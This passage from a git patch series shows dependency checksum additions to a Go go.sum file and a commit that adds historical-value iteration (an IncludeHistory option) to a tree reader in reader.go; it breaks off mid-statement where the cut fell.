h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230125152338-dcaf20b6aeaa/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230127162408-596548ed4efa/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230209215440-0dfe4f8abfcc/go.mod h1:RGgjbofJ8xD9Sq1VVhDM1Vok1vRONV+rg+CjzG4SZKM= +google.golang.org/genproto v0.0.0-20230216225411-c8e22ba71e44/go.mod h1:8B0gmkoRebU8ukX6HP+4wrVQUY1+6PkQ44BSyIlflHA= +google.golang.org/genproto v0.0.0-20230222225845-10f96fb3dbec/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= +google.golang.org/genproto v0.0.0-20230223222841-637eb2293923/go.mod h1:3Dl5ZL0q0isWJt+FVcfpQyirqemEuLAK/iFvg1UP1Hw= +google.golang.org/genproto v0.0.0-20230303212802-e74f57abe488/go.mod h1:TvhZT5f700eVlTNwND1xoEZQeWTB2RY/65kplwl/bFA= +google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= +google.golang.org/genproto v0.0.0-20230320184635-7606e756e683/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= +google.golang.org/genproto v0.0.0-20230323212658-478b75c54725/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230330154414-c0448cd141ea/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230331144136-dcfb400f0633/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230403163135-c38d8f061ccd/go.mod h1:UUQDJDOlWu4KYeJZffbWgBkS1YFobzKbLVfK69pe0Ak= +google.golang.org/genproto v0.0.0-20230410155749-daa745c078e1/go.mod h1:nKE/iIaLqn2bQwXBg8f1g2Ylh6r5MN5CmZvuzZCgsCU= +google.golang.org/genproto v0.0.0-20230525234025-438c736192d0/go.mod h1:9ExIQyXL5hZrHzQceCwuSYwZZ5QZBazOcprJ5rgs3lY= +google.golang.org/genproto v0.0.0-20230526161137-0005af68ea54/go.mod h1:zqTuNwFlFRsw5zIts5VnzLQxSRqh+CGOTVMlYbY0Eyk= +google.golang.org/genproto v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64= +google.golang.org/genproto v0.0.0-20230629202037-9506855d4529/go.mod h1:xZnkP7mREFX5MORlOPEzLMr+90PPZQ2QWzrVTWfAq64= +google.golang.org/genproto v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:O9kGHb51iE/nOGvQaDUuadVYqovW56s5emA88lQnj6Y= +google.golang.org/genproto v0.0.0-20230726155614-23370e0ffb3e/go.mod h1:0ggbjUrZYpy1q+ANUS30SEoGZ53cdfwtbuG7Ptgy108= google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5 h1:L6iMMGrtzgHsWofoFcihmDEMYeDR9KN/ThbPWGrh++g= google.golang.org/genproto v0.0.0-20230803162519-f966b187b2e5/go.mod h1:oH/ZOT02u4kWEp7oYBGYFFkCdKS/uYR9Z7+0/xuuFp8= +google.golang.org/genproto/googleapis/api v0.0.0-20230525234020-1aefcd67740a/go.mod h1:ts19tUU+Z0ZShN1y3aPyq2+O3d5FUNNgT6FtOzmrNn8= +google.golang.org/genproto/googleapis/api v0.0.0-20230525234035-dd9d682886f9/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/api v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/api v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/api v0.0.0-20230629202037-9506855d4529/go.mod h1:vHYtlOoi6TsQ3Uk2yxR7NI5z8uoV+3pZtR4jmHIkRig= +google.golang.org/genproto/googleapis/api v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:mPBs5jNgx2GuQGvFwUvVKqtn6HsUw9nP64BedgvqEsQ= +google.golang.org/genproto/googleapis/api v0.0.0-20230726155614-23370e0ffb3e/go.mod h1:rsr7RhLuwsDKL7RmgDDCUc6yaGr1iqceVb5Wv6f6YvQ= google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d h1:DoPTO70H+bcDXcd39vOqb2viZxgqeBeSGtZ55yZU4/Q= google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d/go.mod h1:KjSP20unUpOx5kyQUFa7k4OJg0qeJ7DEZflGDu2p6Bk= +google.golang.org/genproto/googleapis/bytestream v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:ylj+BE99M198VPbBh6A8d9n3w8fChvyLK3wwBOjXBFA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234015-3fc162c6f38a/go.mod h1:xURIpW9ES5+/GZhnV6beoEtxQrnkRGIfP5VQG2tCBLc= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230525234030-28d5490b6b19/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230526203410-71b5a4ffd15e/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230530153820-e85fd2cbaebc/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230629202037-9506855d4529/go.mod h1:66JfowdXAEgad5O9NnYcsNPLCPZJD++2L9X0PCMODrA= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230706204954-ccb25ca9f130/go.mod h1:8mL13HKkDa+IuJ8yruA3ci0q+0vsUz4m//+ottjwS5o= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230731190214-cbb8c96f2d6d/go.mod h1:TUfxEVdsvPg18p6AslUXFoLdpED4oBnGwyqk3dV1XzM= +google.golang.org/genproto/googleapis/rpc v0.0.0-20230803162519-f966b187b2e5/go.mod h1:zBEcrKX2ZOcEkHWxBPAIvYUWOKKMIhYcmNiUIu2ji3I= google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d h1:uvYuEyMHKNt+lT4K3bN6fGswmK8qSvcreM3BwjDh+y4= google.golang.org/genproto/googleapis/rpc v0.0.0-20230822172742-b8732ec3820d/go.mod h1:+Bk1OCOj40wS2hwAMA+aCW9ypzm63QTBBHp6lQ3p+9M= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= @@ -845,7 +2186,38 @@ google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKa google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= google.golang.org/grpc v1.33.1/go.mod h1:fr5YgcSWrqhRRxogOsw7RzIpsmvOZ6IcH4kBYTpR3n0= +google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= +google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= +google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.36.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.36.1/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.37.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.37.1/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.38.0/go.mod h1:NREThFqKR1f3iQ6oBuvc5LadQuXVGo9rkm5ZGrQdJfM= +google.golang.org/grpc v1.39.0/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= +google.golang.org/grpc v1.39.1/go.mod h1:PImNr+rS9TWYb2O4/emRugxiyHZ5JyHW5F+RPnDzfrE= +google.golang.org/grpc v1.40.0/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.40.1/go.mod h1:ogyxbiOoUXAkP+4+xa6PZSE9DZgIHtSpzjDTB9KAK34= +google.golang.org/grpc v1.41.0/go.mod h1:U3l9uK9J0sini8mHphKoXyaqDA/8VyGnDee1zzIUK6k= +google.golang.org/grpc v1.42.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= +google.golang.org/grpc v1.44.0/go.mod h1:k+4IHHFw41K8+bbowsex27ge2rCb65oeWqe4jJ590SU= +google.golang.org/grpc v1.45.0/go.mod h1:lN7owxKUQEqMfSyQikvvk5tf/6zMPsrK+ONuO11+0rQ= +google.golang.org/grpc v1.46.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.46.2/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.47.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.48.0/go.mod h1:vN9eftEi1UMyUsIF80+uQXhHjbXYbm0uXoFCACuMGWk= +google.golang.org/grpc v1.49.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.50.0/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.50.1/go.mod h1:ZgQEeidpAuNRZ8iRrlBKXZQP1ghovWIVhdJRyCDK+GI= +google.golang.org/grpc v1.51.0/go.mod h1:wgNDFcnuBGmxLKI/qn4T+m5BtEBYXJPvibbUPsAIPww= +google.golang.org/grpc v1.52.0/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= +google.golang.org/grpc v1.52.3/go.mod h1:pu6fVzoFb+NBYNAvQL08ic+lvB2IojljRYuun5vorUY= +google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= +google.golang.org/grpc v1.54.0/go.mod h1:PUSEXI6iWghWaB6lXM4knEgpJNu2qUcKfDtNci3EC2g= +google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= +google.golang.org/grpc v1.56.2/go.mod h1:I9bI3vqKfayGqPUAwGdOSu7kt6oIJLixfffKrpXqQ9s= google.golang.org/grpc v1.57.0 h1:kfzNeI/klCGD2YPMUlaGNT3pxvYfga7smW3Vth8Zsiw= google.golang.org/grpc v1.57.0/go.mod h1:Sd+9RMTACXwmub0zcNY2c4arhtrbBYD1AUHI/dt16Mo= google.golang.org/grpc/cmd/protoc-gen-go-grpc v1.1.0 h1:M1YKkFIboKNieVO5DLUEVzQfGwJD30Nv2jfUgzb5UcE= @@ -862,6 +2234,11 @@ google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGj google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.28.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.29.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= google.golang.org/protobuf v1.31.0 h1:g0LDEJHgrBl9N9r17Ru3sqWhkIx2NB67okBHPwC7hs8= google.golang.org/protobuf v1.31.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= @@ -869,6 +2246,7 @@ gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8 gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/inconshreveable/log15.v2 v2.0.0-20180818164646-67afb5ed74ec/go.mod h1:aPpfJ7XW+gOuirDoZ8gHhLh3kZ1B08FtV2bbmy7Jv3s= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= @@ -887,6 +2265,7 @@ gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= @@ -897,6 +2276,60 @@ honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWh honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +honnef.co/go/tools v0.1.3/go.mod h1:NgwopIslSNH47DimFoV78dnkksY2EFtX0ajyb3K/las= +lukechampine.com/uint128 v1.1.1/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= +lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk= +modernc.org/cc/v3 v3.36.0/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/cc/v3 v3.36.2/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/cc/v3 v3.36.3/go.mod h1:NFUHyPn4ekoC/JHeZFfZurN6ixxawE1BnVonP/oahEI= +modernc.org/cc/v3 v3.37.0/go.mod h1:vtL+3mdHx/wcj3iEGz84rQa8vEqR6XM84v5Lcvfph20= +modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0= +modernc.org/ccgo/v3 v3.0.0-20220428102840-41399a37e894/go.mod h1:eI31LL8EwEBKPpNpA4bU1/i+sKOwOrQy8D87zWUcRZc= +modernc.org/ccgo/v3 v3.0.0-20220430103911-bc99d88307be/go.mod h1:bwdAnOoaIt8Ax9YdWGjxWsdkPcZyRPHqrOvJxaKAKGw= +modernc.org/ccgo/v3 v3.0.0-20220904174949-82d86e1b6d56/go.mod h1:YSXjPL62P2AMSxBphRHPn7IkzhVHqkvOnRKAKh+W6ZI= +modernc.org/ccgo/v3 v3.16.4/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= +modernc.org/ccgo/v3 v3.16.6/go.mod h1:tGtX0gE9Jn7hdZFeU88slbTh1UtCYKusWOoCJuvkWsQ= +modernc.org/ccgo/v3 v3.16.8/go.mod h1:zNjwkizS+fIFDrDjIAgBSCLkWbJuHF+ar3QRn+Z9aws= +modernc.org/ccgo/v3 v3.16.9/go.mod h1:zNMzC9A9xeNUepy6KuZBbugn3c0Mc9TeiJO4lgvkJDo= +modernc.org/ccgo/v3 v3.16.13-0.20221017192402-261537637ce8/go.mod h1:fUB3Vn0nVPReA+7IG7yZDfjv1TMWjhQP8gCxrFAtL5g= +modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY= +modernc.org/ccorpus v1.11.6/go.mod h1:2gEUTrWqdpH2pXsmTM1ZkjeSrUWDpjMu2T6m29L/ErQ= +modernc.org/httpfs v1.0.6/go.mod h1:7dosgurJGp0sPaRanU53W4xZYKh14wfzX420oZADeHM= +modernc.org/libc v0.0.0-20220428101251-2d5f3daf273b/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= +modernc.org/libc v1.16.0/go.mod h1:N4LD6DBE9cf+Dzf9buBlzVJndKr/iJHG97vGLHYnb5A= +modernc.org/libc v1.16.1/go.mod h1:JjJE0eu4yeK7tab2n4S1w8tlWd9MxXLRzheaRnAKymU= +modernc.org/libc v1.16.17/go.mod h1:hYIV5VZczAmGZAnG15Vdngn5HSF5cSkbvfz2B7GRuVU= +modernc.org/libc v1.16.19/go.mod h1:p7Mg4+koNjc8jkqwcoFBJx7tXkpj00G77X7A72jXPXA= +modernc.org/libc v1.17.0/go.mod h1:XsgLldpP4aWlPlsjqKRdHPqCxCjISdHfM/yeWC5GyW0= +modernc.org/libc v1.17.1/go.mod h1:FZ23b+8LjxZs7XtFMbSzL/EhPxNbfZbErxEHc7cbD9s= +modernc.org/libc v1.17.4/go.mod h1:WNg2ZH56rDEwdropAJeZPQkXmDwh+JCA1s/htl6r2fA= +modernc.org/libc v1.18.0/go.mod h1:vj6zehR5bfc98ipowQOM2nIDUZnVew/wNC/2tOGS+q0= +modernc.org/libc v1.20.3/go.mod h1:ZRfIaEkgrYgZDl6pa4W39HgN5G/yDW+NRmNKZBDFrk0= +modernc.org/libc v1.21.4/go.mod h1:przBsL5RDOZajTVslkugzLBj1evTue36jEomFQOoYuI= +modernc.org/libc v1.22.2/go.mod h1:uvQavJ1pZ0hIoC/jfqNoMLURIMhKzINIWypNM17puug= +modernc.org/mathutil v1.2.2/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/mathutil v1.4.1/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/memory v1.1.1/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= +modernc.org/memory v1.2.0/go.mod h1:/0wo5ibyrQiaoUoH7f9D8dnglAmILJ5/cxZlRECf+Nw= +modernc.org/memory v1.2.1/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/memory v1.3.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/memory v1.4.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/opt v0.1.1/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= +modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0= +modernc.org/sqlite v1.18.1/go.mod h1:6ho+Gow7oX5V+OiOQ6Tr4xeqbx13UZ6t+Fw9IRUG4d4= +modernc.org/sqlite v1.18.2/go.mod h1:kvrTLEWgxUcHa2GfHBQtanR1H9ht3hTJNtKpzH9k1u0= +modernc.org/strutil v1.1.1/go.mod h1:DE+MQQ/hjKBZS2zNInV5hhcipt5rLPWkmpbGeW5mmdw= +modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw= +modernc.org/tcl v1.13.1/go.mod h1:XOLfOwzhkljL4itZkK6T72ckMgvj0BDsnKNdZVUOecw= +modernc.org/tcl v1.13.2/go.mod h1:7CLiGIPo1M8Rv1Mitpv5akc2+8fxUd2y2UzC/MfMzy0= +modernc.org/token v1.0.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= +modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= +modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= +modernc.org/z v1.5.1/go.mod h1:eWFB510QWW5Th9YGZT81s+LwvaAs3Q2yr4sP0rmLkv8= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= +sigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc= From d456176ab2d652e280da7e298a67656f9750aca8 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 3 Oct 2023 11:26:03 +0200 Subject: [PATCH 0825/1062] feat(embedded/tbtree): key reader supporting historical values Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/reader.go | 154 ++++++++++++++++++++++++-------------- 1 file changed, 97 insertions(+), 57 deletions(-) diff --git a/embedded/tbtree/reader.go b/embedded/tbtree/reader.go index 0b23dddc11..fb798e5e52 100644 --- a/embedded/tbtree/reader.go +++ b/embedded/tbtree/reader.go @@ -22,17 +22,22 @@ import ( ) type Reader struct { - snapshot *Snapshot - id int - seekKey []byte - endKey []byte - prefix []byte - inclusiveSeek bool - inclusiveEnd bool - descOrder bool - path path - leafNode *leafNode - leafOffset int + snapshot *Snapshot + id int + seekKey []byte + endKey []byte + prefix []byte + inclusiveSeek bool + inclusiveEnd bool + includeHistory bool + descOrder bool + + path path + leafNode *leafNode + leafOffset int + + leafValue *leafValue + hoff int offset uint64 skipped uint64 @@ -41,13 +46,14 @@ type Reader struct { } type ReaderSpec struct { - SeekKey []byte - EndKey []byte - Prefix []byte - InclusiveSeek bool - InclusiveEnd bool - DescOrder bool - Offset uint64 + SeekKey []byte + EndKey []byte + Prefix []byte + InclusiveSeek bool + InclusiveEnd bool + IncludeHistory bool + DescOrder bool + Offset uint64 } func (r *Reader) Reset() error { @@ -175,73 +181,107 @@ func (r *Reader) Read() (key []byte, value []byte, ts, hc uint64, err error) { } for { - if (!r.descOrder && len(r.leafNode.values) == r.leafOffset) || (r.descOrder && r.leafOffset < 0) { - for { - if len(r.path) == 0 { - return nil, nil, 0, 0, ErrNoMoreEntries - } + if r.leafValue == nil { - parent := r.path[len(r.path)-1] + if (!r.descOrder && len(r.leafNode.values) == r.leafOffset) || (r.descOrder && r.leafOffset < 0) { + for { + if len(r.path) == 0 { + return nil, nil, 0, 0, ErrNoMoreEntries + } - var parentPath []*pathNode - if len(r.path) > 1 { - parentPath = r.path[:len(r.path)-1] + parent := r.path[len(r.path)-1] + + var parentPath []*pathNode + if len(r.path) > 1 { + parentPath = r.path[:len(r.path)-1] + } + + path, leaf, off, err := parent.node.findLeafNode(r.seekKey, parentPath, parent.offset+1, nil, r.descOrder) + + if errors.Is(err, ErrKeyNotFound) { + r.path = r.path[:len(r.path)-1] + continue + } + + if err != nil { + return nil, nil, 0, 0, err + } + + r.path = path + r.leafNode = leaf + r.leafOffset = off + break } + } + } - path, leaf, off, err := parent.node.findLeafNode(r.seekKey, parentPath, parent.offset+1, nil, r.descOrder) + if r.leafValue == nil { + leafValue := r.leafNode.values[r.leafOffset] - if errors.Is(err, ErrKeyNotFound) { - r.path = r.path[:len(r.path)-1] - continue + if r.descOrder { + r.leafOffset-- + } else { + r.leafOffset++ + } + + if !r.inclusiveSeek && bytes.Equal(r.seekKey, leafValue.key) { + continue + } + + if len(r.endKey) > 0 { + cmp := bytes.Compare(r.endKey, leafValue.key) + + if r.descOrder && (cmp > 0 || (cmp == 0 && !r.inclusiveEnd)) { + return nil, nil, 0, 0, ErrNoMoreEntries } - if err != nil { - return nil, nil, 0, 0, err + if !r.descOrder && (cmp < 0 || (cmp == 0 && !r.inclusiveEnd)) { + return nil, nil, 0, 0, ErrNoMoreEntries } + } - r.path = path - r.leafNode = leaf - r.leafOffset = off - break + // prefix mismatch + if len(r.prefix) > 0 && + (len(leafValue.key) < len(r.prefix) || !bytes.Equal(r.prefix, leafValue.key[:len(r.prefix)])) { + continue } - } - leafValue := r.leafNode.values[r.leafOffset] + if r.skipped < r.offset { + r.skipped++ + continue + } - if r.descOrder { - r.leafOffset-- - } else { - r.leafOffset++ + r.leafValue = leafValue } - if !r.inclusiveSeek && bytes.Equal(r.seekKey, leafValue.key) { + if r.leafValue == nil { continue } - if len(r.endKey) > 0 { - cmp := bytes.Compare(r.endKey, leafValue.key) + if !r.includeHistory { + leafValue := r.leafValue + r.leafValue = nil - if r.descOrder && (cmp > 0 || (cmp == 0 && !r.inclusiveEnd)) { - return nil, nil, 0, 0, ErrNoMoreEntries - } - - if !r.descOrder && (cmp < 0 || (cmp == 0 && !r.inclusiveEnd)) { - return nil, nil, 0, 0, ErrNoMoreEntries - } + return cp(leafValue.key), cp(leafValue.timedValue().Value), leafValue.timedValue().Ts, leafValue.historyCount(), nil } - // prefix mismatch - if len(r.prefix) > 0 && - (len(leafValue.key) < len(r.prefix) || !bytes.Equal(r.prefix, leafValue.key[:len(r.prefix)])) { + tvs, hc, err := r.leafValue.history(r.leafValue.key, uint64(r.hoff), r.descOrder, 1, r.leafNode.t.hLog) + if errors.Is(err, ErrNoMoreEntries) { + r.leafValue = nil + r.hoff = 0 continue + } else if err != nil { + return nil, nil, 0, 0, err } + r.hoff++ + if r.skipped < r.offset { r.skipped++ continue } - return cp(leafValue.key), 